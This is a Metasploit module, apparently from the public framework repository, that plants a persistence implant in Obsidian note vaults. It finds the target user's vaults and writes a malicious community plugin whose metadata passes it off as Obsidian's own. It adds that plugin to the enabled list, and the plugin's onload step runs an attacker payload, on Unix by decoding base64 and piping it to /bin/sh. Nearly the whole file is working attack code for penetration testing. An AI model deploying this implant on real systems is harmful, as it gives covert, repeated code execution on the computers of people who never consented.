Path: blob/master/modules/exploits/multi/persistence/obsidian_plugin.rb
23592 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Post::File9include Msf::Post::Unix # whoami10include Msf::Auxiliary::Report11include Msf::Exploit::Local::Persistence12include Msf::Exploit::Deprecated13moved_from 'exploits/multi/local/obsidian_plugin_persistence'1415def initialize(info = {})16super(17update_info(18info,19'Name' => 'Obsidian Plugin Persistence',20'Description' => %q{21This module searches for Obsidian vaults for a user, and uploads a malicious22community plugin to the vault. The vaults must be opened with community23plugins enabled (NOT restricted mode), but the plugin will be enabled24automatically.2526Tested against Obsidian 1.7.7 on Kali, Ubuntu 22.04, and Windows 10.27},28'License' => MSF_LICENSE,29'Author' => [30'h00die', # Module31'Thomas Byrne' # Research, PoC32],33'DisclosureDate' => '2022-09-16',34'SessionTypes' => [ 'shell', 'meterpreter' ],35'Privileged' => false,36'References' => [37[ 'URL', 'https://docs.obsidian.md/Plugins/Getting+started/Build+a+plugin' ],38[ 'URL', 'https://github.com/obsidianmd/obsidian-sample-plugin/tree/master' ],39[ 'URL', 'https://forum.obsidian.md/t/can-obsidian-plugins-have-malware/34491' ],40[ 'URL', 'https://help.obsidian.md/Extending+Obsidian/Plugin+security' ],41[ 'URL', 'https://thomas-byrne.co.uk/research/obsidian-malicious-plugins/obsidian-research/' ]42],43'Arch' => [ARCH_CMD],44'Platform' => %w[osx linux windows],45'DefaultOptions' => {46'PrependMigrate' => true47},48'Payload' => {49'BadChars' => '"'50},51'Targets' => [52['Auto', {} ],53['Linux', { 'Platform' => 'unix' } ],54['OSX', { 'Platform' => 'osx' } ],55['Windows', { 'Platform' => 'windows' } ],56],57'Notes' => {58'Reliability' => [ REPEATABLE_SESSION ],59'Stability' => [ CRASH_SAFE ],60'SideEffects' => [ ARTIFACTS_ON_DISK, CONFIG_CHANGES ]61},62'DefaultTarget' => 063)64)6566register_options([67OptString.new('NAME', [ false, 'Name of the plugin', '' ]),68OptString.new('USER', [ false, 'User to target, or current user if blank', '' ]),69OptString.new('CONFIG', [ false, 'Config file location on target', '' ]),70])71deregister_options('WritableDir')72end7374def plugin_name75return datastore['NAME'] unless datastore['NAME'].blank?7677rand_text_alphanumeric(4..10)78end7980def find_vaults81vaults_found = []82user = target_user83vprint_status("Target User: #{user}")84case session.platform85when 'windows', 'win'86config_files = ["C:\\Users\\#{user}\\AppData\\Roaming\\obsidian\\obsidian.json"]87when 'osx'88config_files = ["/User/#{user}/Library/Application Support/obsidian/obsidian.json"]89when 'linux'90config_files = [91"/home/#{user}/.config/obsidian/obsidian.json",92"/home/#{user}/snap/obsidian/40/.config/obsidian/obsidian.json"93] # snap package94end9596config_files << datastore['CONFIG'] unless datastore['CONFIG'].empty?9798config_files.each do |config_file|99next unless file?(config_file)100101vprint_status("Found user obsidian file: #{config_file}")102config_contents = read_file(config_file)103return fail_with(Failure::Unknown, 'Failed to read config file') if config_contents.nil?104105begin106vaults = JSON.parse(config_contents)107rescue JSON::ParserError108vprint_error("Failed to parse JSON from #{config_file}")109next110end111112vaults_found = vaults['vaults']113if vaults_found.nil?114vprint_error("No vaults found in #{config_file}")115next116end117118vaults['vaults'].each do |k, v|119if v['open']120print_good("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")121else122print_status("Found #{v['open'] ? 'open' : 'closed'} vault #{k}: #{v['path']}")123end124end125end126127vaults_found128end129130def manifest_js(plugin_name)131JSON.pretty_generate({132'id' => plugin_name.gsub(' ', '_'),133'name' => plugin_name,134'version' => '1.0.0',135'minAppVersion' => '0.15.0',136'description' => '',137'author' => 'Obsidian',138'authorUrl' => 'https://obsidian.md',139'isDesktopOnly' => false140})141end142143def main_js(_plugin_name)144if ['windows', 'win'].include? session.platform145payload_stub = payload.encoded.to_s146else147payload_stub = "echo \\\"#{Rex::Text.encode_base64(payload.encoded)}\\\" | base64 -d | /bin/sh"148end149%%150/*151THIS IS A GENERATED/BUNDLED FILE BY ESBUILD152if you want to view the source, please visit the github repository of this plugin153*/154155var __defProp = Object.defineProperty;156var __getOwnPropDesc = Object.getOwnPropertyDescriptor;157var __getOwnPropNames = Object.getOwnPropertyNames;158var __hasOwnProp = Object.prototype.hasOwnProperty;159var __export = (target, all) => {160for (var name in all)161__defProp(target, name, { get: all[name], enumerable: true });162};163var __copyProps = (to, from, except, desc) => {164if (from && typeof from === "object" || typeof from === "function") {165for (let key of __getOwnPropNames(from))166if (!__hasOwnProp.call(to, key) && key !== except)167__defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });168}169return to;170};171var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);172173// main.ts174var main_exports = {};175__export(main_exports, {176default: () => ExamplePlugin177});178module.exports = __toCommonJS(main_exports);179var import_obsidian = require("obsidian");180var ExamplePlugin = class extends import_obsidian.Plugin {181async onload() {182var command = "#{payload_stub}";183const { exec } = require("child_process");184exec(command, (error, stdout, stderr) => {185if (error) {186console.log(`error: ${error.message}`);187return;188}189if (stderr) {190console.log(`stderr: ${stderr}`);191return;192}193console.log(`stdout: ${stdout}`);194});195}196async onunload() {197}198};199%200end201202def target_user203return datastore['USER'] unless datastore['USER'].blank?204205return cmd_exec('cmd.exe /c echo %USERNAME%').strip if ['windows', 'win'].include? session.platform206207whoami208end209210def check211return CheckCode::Appears('Vaults found') unless find_vaults.empty?212213CheckCode::Safe('No vaults found')214end215216def install_persistence217plugin = plugin_name218print_status("Using plugin name: #{plugin}")219vaults = find_vaults220fail_with(Failure::NotFound, 'No vaults found') if vaults.empty?221vaults.each_value do |vault|222print_status("Uploading plugin to vault #{vault['path']}")223# avoid mkdir function because that registers it for delete, and we don't want that for224# persistent modules225if ['windows', 'win'].include? session.platform226cmd_exec("cmd.exe /c md \"#{vault['path']}\\.obsidian\\plugins\\#{plugin}\"")227else228cmd_exec("mkdir -p '#{vault['path']}/.obsidian/plugins/#{plugin}/'")229end230vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/main.js")231write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/main.js", main_js(plugin))232@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/main.js\n"233234vprint_status("Uploading: #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json")235write_file("#{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json", manifest_js(plugin))236@clean_up_rc << "rm #{vault['path']}/.obsidian/plugins/#{plugin}/manifest.json\n"237# read in the enabled community plugins, and add ours to the enabled list238if file?("#{vault['path']}/.obsidian/community-plugins.json")239plugins = read_file("#{vault['path']}/.obsidian/community-plugins.json")240begin241plugins = JSON.parse(plugins)242vprint_status("Found #{plugins.length} enabled community plugins (#{plugins.join(', ')})")243path = store_loot('obsidian.community.plugins.json', 'text/plain', session, plugins, nil, nil)244print_good("Config file saved in: #{path}")245@clean_up_rc << "upload #{path} #{vault['path']}/.obsidian/community-plugins.json\n"246rescue JSON::ParserError247plugins = []248end249250plugins << plugin unless plugins.include?(plugin)251else252plugins = [plugin]253end254vprint_status("adding #{plugin} to the enabled community plugins list")255write_file("#{vault['path']}/.obsidian/community-plugins.json", JSON.pretty_generate(plugins))256print_good('Plugin enabled, waiting for Obsidian to open the vault and execute the plugin.')257end258end259end260261262